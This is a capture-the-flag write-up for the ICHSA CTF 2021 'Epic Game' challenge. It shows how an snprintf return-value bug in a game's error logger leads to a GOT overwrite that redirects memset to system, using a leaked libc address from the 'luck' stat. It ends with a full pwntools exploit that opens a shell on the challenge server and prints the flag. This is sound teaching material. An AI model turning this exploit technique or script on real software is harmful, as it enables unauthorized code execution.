ICHSA CTF 2021 / Published

Epic Game

Abusing an snprintf return-value bug to wrap a write into the GOT and point memset at system, using the game's leaked luck stat as a libc address.

pwn

11 min read

Target
amd64
RELRO
Partial
Canary
Found
NX
Enabled
PIE
Disabled
Challenge brief

I created a cmd mode for WoW but I suspect you can’t win :( can you check my game?

May the cyber spirit be ever in your favor!!

good luck (you’ll need it for sure)

Connect: nc epic_game.ichsa.ctf.today 8007

epic_game.zip

Inspecting the game

In this challenge, we are provided with a zip file. Upon unpacking it, we are presented with the following files.

vagrant in pwnbox in /CTF/ichsa-ctf/epic-game
❯ tree ctfd
ctfd
├── Dockerfile
├── README.txt
├── app.out
├── docker-compose.yml
├── epic_game.c
├── epic_game.h
├── flag.txt
└── libc.so.6

As usual, let’s start off by checking what security mitigations are present in the binary.

vagrant in pwnbox in ichsa-ctf/epic-game/ctfd
❯ checksec app.out
[*] '/CTF/ichsa-ctf/epic-game/ctfd/app.out'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Partial RELRO, Canary present, and No PIE. Smells like a potential GOT overwrite, but let’s not get ahead of ourselves. Let’s run the binary and see what it does.

vagrant in pwnbox in ichsa-ctf/epic-game/ctfd
❯ ./app.out
Hello epic warrior, it's time to begin your quest

Choose your character:
        1 - Mighty warrior
        2 - Wizard
        3 - Elf

Your Choice:
1
Choose your character name (limit to 12 chars)
Your Choice:
abc
Hello abc The Mighty Warrior!!!
Your health is 1000 pt.
Your shield is 100 pt.
Your strength is 500 pt.
Your lucky number is 140082059670720
You will need 2147483647 points to get the flag
Good luck, the kingdom trust you!!

You meet a Evil snake!!!
abc
choose your move:
1 - hit
2 - protect
3 - run

Your Choice:
1
you killed an evil creature, kudos!!!

your current health 950
You meet a Dragon!!!
abc
choose your move:
1 - hit
2 - protect
3 - run

Your Choice:
2
R.I.P abc The Mighty Warrior
You were a brave warrior but not enough to get a flag

Triggering a crash

Cool. Looks like it’s some kind of text-based RPG game. We’ll play around with it in GDB and fuzz it a little.

pwndbg> cyclic -n8 512
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaac
pwndbg> r
Starting program: /CTF/ichsa-ctf/epic-game/ctfd/app.out
Hello epic warrior, it's time to begin your quest

Choose your character:
        1 - Mighty warrior
        2 - Wizard
        3 - Elf

Your Choice:
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaac
Input Error

Choose your character name (limit to 12 chars)
Your Choice:
Input Error

Hello aiaaaaaaajaa The Mighty Warrior!!!
Your health is 1000 pt.
Your shield is 100 pt.
Your strength is 500 pt.
Your lucky number is 140737348003008
You will need 2147483647 points to get the flag
Good luck, the kingdom trust you!!

You meet a Evil snake!!!
aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run

Your Choice:
Input Error

aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run

Your Choice:
Input Error

aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run

Your Choice:
Input Error

aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run

Your Choice:
Input Error

aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run

Your Choice:
Input Error

aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run

Your Choice:
Input Error

aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run

Your Choice:
Input Error

aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run

Your Choice:
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaac
Input Error

aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run

Your Choice:
Input Error

aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run

Your Choice:
Input Error

aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run

Your Choice:
Input Error

aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run

Your Choice:
Input Error

aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run

Your Choice:
Input Error

aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run

Your Choice:
Input Error

aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run

Your Choice:
Input Error

aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run

Your Choice:
Input Error

aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run

Your Choice:
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaac
Input Error

aiaaaaaaajaa
choose your move:
1 - hit
2 - protect
3 - run

Your Choice:
Input Error

Program received signal SIGBUS, Bus error.
_IO_vsnprintf (string=0x6161616161a2a260 <error: Cannot access memory at address 0x6161616161a2a260>, maxlen=<optimized out>, format=0x402015 "%s", args=args@entry=0x7fffffffdf90) at vsnprintf.c:112
112     vsnprintf.c: No such file or directory.

pwndbg> context backtrace
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────
 ► f 0     7ffff7a6a9c9 vsnprintf+121
   f 1     7ffff7a470cf snprintf+143
   f 2           401397 log_error+105
   f 3           401aea main+1814
   f 4     7ffff7a03bf7 __libc_start_main+231
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Understanding the snprintf overflow

Interesting, looks like we’ve got a crash in snprintf which is within the log_error function. Let’s cross-reference this with the provided source code to make sense of this.

C
void log_error(char* buff)
{
    puts("Input Error\n");
    if(write_to_log)
    {
        curr += snprintf(error_log+curr, sizeof(error_log)-curr, "%s", buff);
        if (curr == sizeof(error_log))
        {
           write_to_log = false;
           //TODO: write the log buffer to file
        }
    }
}

On the surface, there appears to be nothing too wrong with the code above. But if we look closely at the documentation for snprintf, it’s actually a disaster.

RETURN VALUE

The functions snprintf() and vsnprintf() do not write more than size bytes (including the terminating null byte (‘\0’)). If the output was truncated due to this limit, then the return value is the number of char‐ acters (excluding the terminating null byte) which would have been written to the final string if enough space had been available. Thus, a return value of size or more means that the output was truncated.

The crucial part is: number of characters which would have been written to the final string if enough space had been available.

The bug is the difference between the number of characters stored and the number snprintf reports.

The input sites use fgets(buffer, 64, stdin), which consumes at most 63 input bytes and adds a NUL terminator. Each submitted 512-byte line plus newline therefore reaches log_error in nine fragments: eight of 63 characters and one of nine. The two lines in the exploit produce 18 log calls, not two calls with 513-character strings.

Before call 18, curr is 1017 and only seven bytes remain in error_log, a char[1024] array. The final nine-character fragment contains eight data characters and a newline. snprintf stores six characters and a NUL at error_log[1023], but returns nine. Adding that return value makes curr equal to 1026, so the curr == 1024 check is false. The next call has the following recorded arguments.

pwndbg> context disassembly
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────
 ► 0x401392 <log_error+100>    call   snprintf@plt <snprintf@plt>
        s: 0x4044c2 (write_to_log+2) ◂— 0x402000000000000
        maxlen: 0xfffffffffffffffe
        format: 0x402015 ◂— 0x6f6c6c6548007325 /* '%s' */
        vararg: 0x7ffdf3476a40 ◂— 0x4141414141414141

The next destination is error_log+1026, or 0x4044c2: two bytes into write_to_log. The unsigned size calculation 1024-1026 wraps to 0xfffffffffffffffe, or 2^64-2. This is the size argument, including space for a terminator; it does not describe available writable memory. Both adjacent fields, write_to_log and curr, are eight-byte uint64_t values.

snprintf advances the log counter beyond the stored bytesTwo submitted lines reach log_error in eighteen fragments. Before the last, curr is 1017; nine characters cause six characters and a NUL to be stored, but return nine. Curr becomes 1026, so the next write begins two bytes into write_to_log with a wrapped size.Each 512-byte line + newline → 8 × 63 + 9 charactersfgets(buffer, 64, stdin): at most 63 input bytes; two lines → 18 log callsCall 18curr = 1017fragment = 8 chars + newlinesize = 1024 − 1017 = 7Stored: 6 characters + NULccccccNULerror_log[1017..1023]returns 9curr = 1017 + 9= 1026curr == 1024? falseNext-call layout · not to scalestart: write_to_log + 2error_log[1024]write_to_log · 8 Bcurr · 8 B0x4040c00x4044c00x4044c8destination = error_log + 1026 = 0x4044c2size = 2^64 − 2
Figure 1. Seven bytes remain. snprintf stores six characters and a NUL, but returns nine; curr reaches 1026, so the equality test is false.

Turning the overflow into a GOT write

Now, how do we proceed from here? Well, it would certaintly be nice if we could turn this into an arbitrary write primitive… and we actually can!

pwndbg> dq &error_log+1024
00000000004044c0     0000000000000001 0000000000000402

Notice that curr is located right after write_to_log (0x402 is 1026), and since we have an overflow we can control the value of curr. Based on the source code, error_log+curr is passed in as the first parameter to snprintf. Therefore, if we can control curr, we can use snprintf to perform an arbitrary write by offsetting from error_log. Since this binary has partial RELRO, writing into the GOT is an option.

pwndbg> print &error_log
$1 = (<data variable, no debug info> *) 0x4040c0 <error_log>
pwndbg> got

GOT protection: Partial RELRO | GOT functions: 13

[0x404018] puts@GLIBC_2.2.5 -> 0x7f6bbcc71aa0 (puts) ◂— push   r13
[0x404020] strlen@GLIBC_2.2.5 -> 0x7f6bbcd7f4d0 (__strlen_avx2) ◂— mov    ecx, edi
[0x404028] __stack_chk_fail@GLIBC_2.4 -> 0x401056 (__stack_chk_fail@plt+6) ◂— push   2
[0x404030] printf@GLIBC_2.2.5 -> 0x7f6bbcc55f70 (printf) ◂— sub    rsp, 0xd8
[0x404038] snprintf@GLIBC_2.2.5 -> 0x7f6bbcc56040 (snprintf) ◂— sub    rsp, 0xd8
[0x404040] memset@GLIBC_2.2.5 -> 0x7f6bbcd7fe30 (__memset_avx2_unaligned) ◂— vmovd  xmm0, esi
[0x404048] read@GLIBC_2.2.5 -> 0x401096 (read@plt+6) ◂— push   6
[0x404050] srand@GLIBC_2.2.5 -> 0x7f6bbcc34cd0 (srandom) ◂— sub    rsp, 8
[0x404058] fgets@GLIBC_2.2.5 -> 0x7f6bbcc6fc00 (fgets) ◂— test   esi, esi
[0x404060] memcpy@GLIBC_2.14 -> 0x7f6bbcd7f9b0 (__memmove_avx_unaligned) ◂— mov    rax, rdi
[0x404068] time@GLIBC_2.2.5 -> 0x7fff0bff3f10 (time) ◂— push   rbp
[0x404070] open@GLIBC_2.2.5 -> 0x4010e6 (open@plt+6) ◂— push   0xb /* 'h\x0b' */
[0x404078] strtoul@GLIBC_2.2.5 -> 0x7f6bbcc36260 (strtouq) ◂— mov    rax, qword ptr [rip + 0x3a5b61]

The GOT lies below error_log. In this binary, a large counter makes the computed destination wrap to a lower address. The exploit uses flat({7: 0xFFFFFFFFFFFFFF}): seven filler bytes, seven ff bytes, and an embedded NUL. Although sendline adds a newline, %s stops at the embedded NUL and formats 14 bytes.

Starting at write_to_log+2, six filler bytes finish that field. The seventh filler byte, 61, becomes the low byte of curr; the seven ff bytes fill its remaining bytes. This changes curr to 0xffffffffffffff61. The output NUL lands at 0x4044d0, immediately after curr.

The compiled code reloads curr after snprintf returns and then adds its return value, 14 (0x0e). The result is 0xffffffffffffff6f, or 2^64-0x91. Thus (0x4040c0+curr) mod 2^64 is 0x40402f, and (0x400-curr) mod 2^64 is 0x491, matching the recorded call below.

pwndbg> context disassembly
──────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────
 ► 0x401392 <log_error+100>    call   snprintf@plt <snprintf@plt>
        s: 0x40402f (_GLOBAL_OFFSET_TABLE_+47) ◂— 0x7f6bbcc55f7000
        maxlen: 0x491
        format: 0x402015 ◂— 0x6f6c6c6548007325 /* '%s' */
        vararg: 0x7fff0bfec360 ◂— 0x4141414141414141

pwndbg> dq 0x40402f
000000000040402f     007f6bbcc55f7000 007f6bbcc5604000
000000000040403f     007f6bbcd7fe3000 0000000040109600
000000000040404f     007f6bbcc34cd000 007f6bbcc6fc0000
000000000040405f     007f6bbcd7f9b000 007fff0bff3f1000
pwndbg> got

GOT protection: Partial RELRO | GOT functions: 13

[0x404018] puts@GLIBC_2.2.5 -> 0x7f6bbcc71aa0 (puts) ◂— push   r13
[0x404020] strlen@GLIBC_2.2.5 -> 0x7f6bbcd7f4d0 (__strlen_avx2) ◂— mov    ecx, edi
[0x404028] __stack_chk_fail@GLIBC_2.4 -> 0x401056 (__stack_chk_fail@plt+6) ◂— push   2
[0x404030] printf@GLIBC_2.2.5 -> 0x7f6bbcc55f70 (printf) ◂— sub    rsp, 0xd8
[0x404038] snprintf@GLIBC_2.2.5 -> 0x7f6bbcc56040 (snprintf) ◂— sub    rsp, 0xd8
[0x404040] memset@GLIBC_2.2.5 -> 0x7f6bbcd7fe30 (__memset_avx2_unaligned) ◂— vmovd  xmm0, esi
[0x404048] read@GLIBC_2.2.5 -> 0x401096 (read@plt+6) ◂— push   6
[0x404050] srand@GLIBC_2.2.5 -> 0x7f6bbcc34cd0 (srandom) ◂— sub    rsp, 8
[0x404058] fgets@GLIBC_2.2.5 -> 0x7f6bbcc6fc00 (fgets) ◂— test   esi, esi
[0x404060] memcpy@GLIBC_2.14 -> 0x7f6bbcd7f9b0 (__memmove_avx_unaligned) ◂— mov    rax, rdi
[0x404068] time@GLIBC_2.2.5 -> 0x7fff0bff3f10 (time) ◂— push   rbp
[0x404070] open@GLIBC_2.2.5 -> 0x4010e6 (open@plt+6) ◂— push   0xb /* 'h\x0b' */
[0x404078] strtoul@GLIBC_2.2.5 -> 0x7f6bbcc36260 (strtouq) ◂— mov    rax, qword ptr [rip + 0x3a5b61]

The write starts at the final byte of the __stack_chk_fail GOT slot. The script’s 17-byte prefix, /bin/sh && AAAAAA, crosses and overwrites the printf and snprintf slots. The packed system pointer then starts at 0x404040, the memset GOT entry. These executable addresses are fixed, and this GOT region is writable under the binary’s Partial RELRO configuration.

C
        while(tmp_enemy.health_points > 0 && current_player.health_points > 0 && !run){
            puts(current_player.name);
            puts("choose your move:\n" \
            "1 - hit \n" \
            "2 - protect\n" \
            "3 - run\n");

            memset(buffer, 0x00, BUFFER_SIZE);

            puts("Your Choice:");

The next loop reaches memset(buffer, 0, 64) with the existing input buffer as its first argument. If the intended pointer reaches the GOT slot, that call dispatches to system(buffer). The two preceding puts calls use unaffected entries; no ordinary printf or snprintf call is needed before this dispatch.

The system address comes from the luck leak explained next. This input passes through both fgets and %s, so a newline or an early NUL in the address can prevent the intended overwrite. The low six pointer bytes must avoid both values; this depends on the runtime address.

The overwritten counter moves the next log write onto the GOTFormatted bytes change curr to 0xffffffffffffff61; compiled code reloads it and adds snprintf's return of fourteen, yielding 2^64 minus 0x91. The next write begins at 0x40402f, where seventeen prefix bytes cross adjacent GOT entries and align the system pointer with memset's entry. The next buffer-clear call reaches system(buffer) only if the intended pointer is delivered.1Counter mutation: flat({7: 0xFFFFFFFFFFFFFF})14 formatted bytes: 7 filler + 7 ff; %s stops at the embedded NULwrite_to_log bytes 2..7curr bytes 0..7 (little endian)61 61 61 61 62 6161ffffffffffffff00output NULat 0x4044d0start 0x4044c20xffffffffffffff61Reload curr, then +0x0e → 0xffffffffffffff6f = 2^64 − 0x912Wrapped destination in the fixed, writable GOT(0x4040c0 + curr) mod 2^64 = 0x40402fsize = 0x491__stack_chk_fail: final byteprintfsnprintfmemset/bin/sh && AAAAAApacked system pointer0x40402f0x4040300x4040380x40404017-byte prefix: /bin/sh && AAAAAAsystem address from luck leaklow 6 bytes avoid 00 and 0a3memset(buffer, 0, 64)changed GOT slotsystem(buffer)If the pointer arrives intact, system(buffer) runs the /bin/sh prefix.
Figure 2. The counter mutation moves the write to 0x40402f. A 17-byte prefix aligns the system pointer with memset's GOT entry.

Leaking libc through the luck stat

However, we’re still short of a libc address leak to calculate the address of system… or are we?

C
void init_player(player* p_player, uint32_t character_type)
{
    uint64_t luck = rand;
    switch (character_type)
    {
        case 1: //Mighty warrior
        {
            strcpy(p_player->player_type, "Mighty Warrior");
            p_player->game_points = 0;
            p_player->health_points = 1000;
            p_player->shield = 100;
            p_player->strength = 500;
            p_player->luck = luck;
            break;
        }
        case 2: //Wizard
        {
            strcpy(p_player->player_type, "Wizard");
            p_player->game_points = 0;
            p_player->health_points = 1200;
            p_player->shield = 400;
            p_player->strength = 200;
            p_player->luck = luck;
            break;
        }
        case 3: //Elf
        {
            strcpy(p_player->player_type, "Elf");
            p_player->game_points = 0;
            p_player->health_points = 1000;
            p_player->shield = 500;
            p_player->strength = 300;
            p_player->luck = luck;
            break;
        }
        default:
            break;
    }
}

With reference to the above source code, our luck stat is actually set to the address of rand (which is a libc function).

C
    printf("Hello %s The %s!!!\n", current_player.name, current_player.player_type);
    printf("Your health is %d pt.\n"\
           "Your shield is %d pt.\n"\
           "Your strength is %d pt.\n"\
           "Your lucky number is %lld\n",
           current_player.health_points,
           current_player.shield,
           current_player.strength,
           current_player.luck);
    printf("You will need %d points to get the flag\n", POINTS_FOR_FLAG);
    puts("Good luck, the kingdom trust you!!\n");

Fortunately for us, they’ve decided to print our luck stat, so they’ve already provided us with a libc address leak. How nice.

Building and running the exploit

From this point on we should be able to craft an exploit to spawn a shell on the server.

Python
from pwn import *

HOST = "epic_game.ichsa.ctf.today"
PORT = 8007
FLAG_FORMAT = "ICHSA_CTF{\w+}"
REMOTE_FLAGPATH = "/app/flag.txt"

CHALLENGE = "app.out"
TARGET_LIBC = "libc.so.6"

CHOICE_PROMPT = b"Your Choice:\n"

LUCKY_NUMBER_MARKER = b"Your lucky number is "


elf = context.binary = ELF(CHALLENGE, checksec=False)

if args.REMOTE:
    libc = ELF(TARGET_LIBC, checksec=False)
    io = remote(HOST, PORT)
else:
    libc = elf.libc
    io = elf.process()

with log.progress("Stage 1: Flood error_log to limit"):
    io.sendlineafter(CHOICE_PROMPT, cyclic(512))
    io.sendlineafter(CHOICE_PROMPT, cyclic(512))

with log.progress("Stage 2: Leak lib address"):
    io.recvuntil(LUCKY_NUMBER_MARKER)

    libc_rand = int(io.recvline())
    libc.address = libc_rand - libc.sym.rand

    log.success(f"libc @ {hex(libc.address)}")

with log.progress("Stage 3: Overwrite memset GOT entry"):
    io.sendlineafter(CHOICE_PROMPT, flat({7: 0xFFFFFFFFFFFFFF}))
    io.sendlineafter(
        CHOICE_PROMPT, b"/bin/sh && AAAAAA" + p64(libc.sym.system)
    )

with log.progress("Stage 4: Pwn"):
    io.sendlineafter(CHOICE_PROMPT, str(1))

if args.REMOTE:
    io.clean(timeout=0.5)
    io.sendline(f"cat {REMOTE_FLAGPATH}")
    log.success(f"Flag: {io.recvregexS(FLAG_FORMAT)}")
    io.close()
else:
    io.interactive()

The historical run below records the exploit retrieving the flag.

❯ python xpl.py REMOTE
[+] Opening connection to epic_game.ichsa.ctf.today on port 8007: Done
[+] Stage 1: Flood error_log to limit: Done
[+] Stage 2: Leak lib address: Done
[+] libc @ 0x7fb1acdfa000
[+] Stage 3: Overwrite memset GOT entry: Done
[+] Stage 4: Pwn: Done
[+] Flag: ICHSA_CTF{Th3_cyb3r_5p1r1t_0f_luck_I5_s7r0ng_w17h_y0u}
[*] Closed connection to epic_game.ichsa.ctf.today port 8007

Result

Flag: ICHSA_CTF{Th3_cyb3r_5p1r1t_0f_luck_I5_s7r0ng_w17h_y0u}